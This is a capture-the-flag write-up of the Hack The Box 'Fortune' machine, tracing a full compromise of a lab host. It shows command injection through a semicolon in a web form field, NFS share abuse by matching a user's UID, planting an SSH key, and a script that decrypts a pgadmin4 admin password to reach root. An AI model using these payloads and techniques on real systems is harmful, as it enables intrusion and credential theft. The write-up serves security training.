Hack The Box: 'Fortune' Writeup
TL;DR
There might not necessarily be anything “new” in this box if you’ve done all of the previous ones, but it’s my absolute personal favorite. Thank you so much AuxSarge for creating it. I was so sad when it retired! 😢
Overview
The Fortune
machine on Hack The Box (created by AuxSarge) is a retired 50 point OpenBSD machine with some pretty interesting parts to it. If you have completed all of the previous boxes on Hack The Box, then Fortune
should be pretty simple, as there is nothing particularly new introduced.
The box starts with simple web enumeration to locate RCE found in the site’s db
variable, which occurs when a semi colon (;) is appended to the end of the db
. Next, some files are located via the RCE that can be used to create a PKCS12 certificate which permits access to port 443. From there, an SSH key is located to access the user called nfsuser
and escalate to the user charlie
by mounting a newly found nfs share and using su
to access charlie
with a local user that has the same UID. SSH keys for charlie
are then used to access the user via SSH and enumerate further.
Finally, there is a pgadmin4
database running on the box which contains hashes for the root password. A file called crypto.py
is utilized for pgadmin4's
encoding/decoding process, and can be used here to decode the root password and ultimately grab the flag.
Nmap Scan
root@kali:~/HTB-FORTUNE# nmap -sC -sV -A -Pn 10.10.10.127
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-24 11:27 EST
Nmap scan report for 10.10.10.127
Host is up (0.21s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
| 256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_ 256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (EdDSA)
80/tcp open http syn-ack OpenBSD httpd
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
443/tcp open ssl/https? syn-ack
|_ssl-date: TLS randomness does not represent time
So, it appears port 443
is HTTPS (as expected), but it requires an SSL certificate to access it. I’ll leave it alone for now because of this. However, port 80
proves to be quite interesting.
Web Enumeration
Here’s what I discovered upon navigating to http://10.10.10.127/
in my browser:
Hmm…
Let’s try capturing a request with Burp Suite
!
POST /select HTTP/1.1
Host: 10.10.10.127
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.127/
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
db=fortunes
The db
variable looks pretty spicy! 🌶️
After running wfuzz
, I discovered I could append a semi colon (;) to db
and execute commands on the box, like so:
POST /select HTTP/1.1
Host: 10.10.10.127
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.127/
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
db=fortunes; id
And the response:
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=utf-8
Date: Wed, 24 Jul 2019 12:27:19
<!DOCTYPE html>
<html>
<head>
<title>Your fortune</title>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
</head>
<body>
<h2>Your fortune is:</h2>
<p><pre>
uid=512(_fortune) gid=512(_fortune) groups=512(_fortune)
</pre><p>
<p>Try <a href='/'>again</a>!</p>
</body>
Nice! We have code execution. Let’s have a look around to see what else we can find.
File Enumeration & NFS Share Access
(Shortened output for readability):
db=fortunes;cat /etc/passwd
charlie:*:1000:1000:Charlie:/home/charlie:/bin/ksh
bob:*:1001:1001::/home/bob:/bin/ksh
nfsuser:*:1002:1002::/home/nfsuser:/usr/sbin/authpf
Well, well, well… It would appear we have three different users here. They are charlie
, bob
, and nfsuser
. Immediately, nfsuser
appears interesting to me given the naming convention. The username nfsuser
can easily be attributed to an nfs share
! Now, this is great and all, but I still don’t know how to access these users, nor am I able to add my own ssh
keys… I was able to ping
myself at this point, but couldn’t manage to get a shell back.
However, I did some snooping around and discovered some files in the user bob
’s home directory (/home/bob
). There was one cert file (intermediate.cert.pem
) and one key file (intermediate.key.pem
), which can be converted to a PKCS12 certificate. I used openssl
to create the certificate, like so:
openssl pkcs12 -export -out fortune.htb.p12 -in intermediate.cert.pem -inkey intermediate.key.pem
I was then able to import the certificate with Firefox and access the (now unrestricted) HTTPS
port, 443
.
This is the prompt I received upon importing my certificate:
The HTTPS
homepage displayed this message upon my first visit:
You will need to use the local authpf service to obtain elevated network access.
If you do not already have the appropriate SSH key pair, then you will need
to generate one and configure your local system appropriately to proceed.
I clicked on generate
and it redirected me to a page that looked like this:
Note: If the above image is too small, click it to expand!
It looks like an SSH keypair appeared!
This is great, because it means we can now access a user account! I threw the newly found keypair into respective files (nfsuser_rsa
and nfsuser_rsa.pub
). After doing some digging around with the RCE mentioned earlier, I noticed that authpf
was installed, which is why I thusly associated the keys with the nfsuser
account. I then tried using the ssh keypair I found at /generate
to log in via SSH, like so:
+[root@kali: keys]$ ssh -i nfsuser_rsa nfsuser@10.10.10.127
Hello nfsuser. You are authenticated from host "10.10.14.34"
So, there appears to be some interesting output here. After authenticating via SSH, I ran another nmap scan to see what was really happening here. It turns out, logging in via SSH as nfsuser
allows us to mount the /home
directory as anyone we want! During prior enumeration, I located two other users: bob
and charlie
. I have already accessed bob's
directory, but have not been able to access charlie
.
I ended up managing to mount /home
locally by running the mount
command like so:
mount -t nfs 10.10.10.127:/home /temp -o nolock
I already had the empty /temp
directory created beforehand. Once the share was mounted, I checked to see what was there:
+[root@kali: temp]$ ls -al
total 40
drwxr-xr-x 5 root root 512 Nov 2 2018 .
drwxr-xr-x 21 root root 32768 Sep 17 17:15 ..
drwxr-xr-x 5 1001 charlie 512 Nov 3 2018 bob
drwxr-x--- 3 farbs farbs 512 Nov 5 2018 charlie
drwxr-xr-x 2 1002 1002 512 Nov 2 2018 nfsuser
Cool, all of the directories are outputted. I have created a local user named farbs
which shares the same UID as charlie
. Therefore, I can simply enter su farbs
and access the charlie
directory since the permissions already match.
+[root@kali: temp]$ su farbs
farbs@kali:/temp$ cd charlie
farbs@kali:/temp/charlie$ wc -c user.txt
33 user.txt
And… we got user.txt
!
From here, I went ahead and generated my own ssh keypair and then added my public key to the authorized_keys
file belonging to charlie
so I could ssh in as charlie
.
Once I had my ssh keypair generated, I added it to the authorized_keys
file:
farbs@kali:/temp/charlie/.ssh$ echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCgGP15cHMY8+Mg8aUg5mml5t6jxpY43paksKO84vhdJdaKFQnryShQI2GbzpbNkV0ICl1yJnKdN0DfnLOXcAkt6YLSvOR7tModGaP/0XOCGBWneO7/U4HMnuEX4VcfHoR+AoCjmCNx8diQvO/yytLDmEJic4yYEUz8m2nA7l14AE6t+YtaJO5tzvJ6CSHaOGVrZiGqCGq2tkE9kN5o+Wg77P3Z8Vq72tOsitQ+hUSloLkMFVUKZWQSGsY1s/3G/b6eT4ZyetVU3Nggv+QYAbWfMDbj+imeREz7Z7T/bxy1tjENq1NSrB/5bZlmAuP/KyKDwI3sktNbhi80q+YRE9ELIA44taj+SjKZ6tZZjQUJIxLt7mZteiw7XgLaVveG+YB9WV1ymxt2wfkQ3Ht6cjl+9JYxoHXIdfBmAivh3goFIOFdxxLRt3RAq/DqlQY4/t3WltAu3LCtBTs8746OMh/vEJFyNOtlPiAXV2f3pGPAYsq4hjYLiV6MDNDvD4+lZKs= >> authorized_keys
I then unmounted the share and SSH’d in as charlie
:
+[root@kali: writeup_ssh]$ ssh -i id_rsa charlie@10.10.10.127
OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018
Welcome to OpenBSD: The proactively secure Unix-like operating system.
fortune$ whoami
charlie
Now that we’re in, it’s time to do some more enumeration! I notice an mbox
file sitting in charlie's
home directory, so I take a look at it. It reads the following:
From bob@fortune.htb Sat Nov 3 11:18:51 2018
Return-Path: <bob@fortune.htb>
Delivered-To: charlie@fortune.htb
Received: from localhost (fortune.htb [local])
by fortune.htb (OpenSMTPD) with ESMTPA id bf12aa53
for <charlie@fortune.htb>;
Sat, 3 Nov 2018 11:18:51 -0400 (EDT)
From: <bob@fortune.htb>
Date: Sat, 3 Nov 2018 11:18:51 -0400 (EDT)
To: charlie@fortune.htb
Subject: pgadmin4
Message-ID: <196699abe1fed384@fortune.htb>
Status: RO
Hi Charlie,
Thanks for setting-up pgadmin4 for me. Seems to work great so far.
BTW: I set the dba password to the same as root. I hope you don't mind.
Cheers,
Bob
Looks like Bob
decided to drop us a hint about the pgadmin4
database! Bob
appears to have set the database admin’s password to the same thing as the root
password. With this in mind, I started snooping around to see if I could find the pgadmin4
database on the box in order to thusly attempt to read its contents.
After a bit of digging, I found that the dba’s password to the PostgreSQL
database actually resides in an SQLite3
database located at /var/appsrv/pgadmin4/pgadmin4.db
.
I looked up pgadmin4
online and found the open source GitHub page for it. Upon sifting through some of the code, I found these lines around the line ~250 mark:
try:
password = decrypt(encpass, user.password)
# Handling of non ascii password (Python2)
if hasattr(str, 'decode'):
password = password.decode('utf-8').encode('utf-8')
# password is in bytes, for python3 we need it in string
elif isinstance(password, bytes):
password = password.decode()
except Exception as e:
manager.stop_ssh_tunnel()
current_app.logger.exception(e)
return False, \
_(
"Failed to decrypt the saved password.\nError: {0}"
).format(str(e))
At the top, I noticed that the decryption key is pulled from the user.password
, which can actually already be found in the pgadmin4.db
file. At this point, I wanted to understand how the decrypt()
function was working. The code for it can be found here:
def decrypt(ciphertext, key):
"""
Decrypt the AES encrypted string.
Parameters:
ciphertext -- Encrypted string with AES method.
key -- key to decrypt the encrypted string.
"""
ciphertext = base64.b64decode(ciphertext)
iv = ciphertext\[:iv_size\]
cipher = Cipher(AES(pad(key)), CFB8(iv), default_backend())
decryptor = cipher.decryptor()
return decryptor.update(ciphertext\[iv_size:\]) + decryptor.finalize()
def pad(key):
"""Add padding to the key."""
if isinstance(key, six.text_type):
key = key.encode()
# Key must be maximum 32 bytes long, so take first 32 bytes
key = key\[:32\]
# If key size is 16, 24 or 32 bytes then padding is not required
if len(key) in (16, 24, 32):
return key
# Add padding to make key 32 bytes long
return key.ljust(32, padding_string)
This is perfect, because all of the parameters are already found in the pgadmin4.db
file.
Once I opened the database with sqlite3
, I ran .tables
to check what tables existed in the database.
sqlite> .tables
alembic_version roles_users
debugger_function_arguments server
keys servergroup
module_preference setting
preference_category user
preferences user_preferences
process version
role
I ended up determining that the server
table contained the username and password contents for the database administrator:
sqlite> select username,password from server;
dba|utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz
In addition, I could grab user password hashes as keys like so:
sqlite> select email,password from user;
charlie@fortune.htb|$pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ
bob@fortune.htb|$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg
To decrypt the credentials, I ended up grabbing a copy of the original crypto.py
file containing the decrypt()
function from the pgadmin4
GitHub page to run on my local kali machine.
I added a couple lines at the bottom of the file that would create a variable called admpass
and then utilize the decrypt()
function to decrypt the data we found. Once decrypted, the password is stored in the admpass
variable and then printed into console.
Here is my finalized code for the crypto.py
file:
import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES
padding_string = b'}'
def encrypt(plaintext, key):
"""
Encrypt the plaintext with AES method.
Parameters:
plaintext -- String to be encrypted.
key -- Key for encryption.
"""
iv = Random.new().read(AES.block_size)
cipher = AES.new(pad(key), AES.MODE_CFB, iv)
# If user has entered non ascii password (Python2)
# we have to encode it first
if hasattr(str, 'decode'):
plaintext = plaintext.encode('utf-8')
encrypted = base64.b64encode(iv + cipher.encrypt(plaintext))
return encrypted
def decrypt(ciphertext, key):
"""
Decrypt the AES encrypted string.
Parameters:
ciphertext -- Encrypted string with AES method.
key -- key to decrypt the encrypted string.
"""
global padding_string
ciphertext = base64.b64decode(ciphertext)
iv = ciphertext[:AES.block_size]
cipher = AES.new(pad(key), AES.MODE_CFB, iv)
decrypted = cipher.decrypt(ciphertext[AES.block_size:])
return decrypted
def pad(key):
"""Add padding to the key."""
global padding_string
str_len = len(key)
# Key must be maximum 32 bytes long, so take first 32 bytes
if str_len > 32:
return key[:32]
# If key size id 16, 24 or 32 bytes then padding not require
if str_len == 16 or str_len == 24 or str_len == 32:
return key
# Convert bytes to string (python3)
if not hasattr(str, 'decode'):
padding_string = padding_string.decode()
# Add padding to make key 32 bytes long
return key + ((32 - str_len % 32) * padding_string)
def pqencryptpassword(password, user):
"""
pqencryptpassword -- to encrypt a password
This is intended to be used by client applications that wish to send
commands like ALTER USER joe PASSWORD 'pwd'. The password need not
be sent in cleartext if it is encrypted on the client side. This is
good because it ensures the cleartext password won't end up in logs,
pg_stat displays, etc. We export the function so that clients won't
be dependent on low-level details like whether the enceyption is MD5
or something else.
Arguments are the cleartext password, and the SQL name of the user it
is for.
Return value is "md5" followed by a 32-hex-digit MD5 checksum..
Args:
password:
user:
Returns:
"""
m = hashlib.md5()
# Place salt at the end because it may be known by users trying to crack
# the MD5 output.
# Handling of non-ascii password (Python2)
if hasattr(str, 'decode'):
password = password.encode('utf-8')
user = user.encode('utf-8')
else:
password = password.encode()
user = user.encode()
m.update(password)
m.update(user)
return "md5" + m.hexdigest()
admpass=decrypt("utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz","$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg")
print(admpass)
To get it working, I had to use the password hash belonging to bob
.
Upon running it locally, crypto.py
spit out the password immediately!
+[root@kali: HTB-FORTUNE]$ python crypto.py
R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!
Now it’s game over! I can run su root
from my shell as charlie
to gain root and cat root.txt
!
fortune$ whoami
charlie
fortune$ su root
Password:
fortune# whoami
root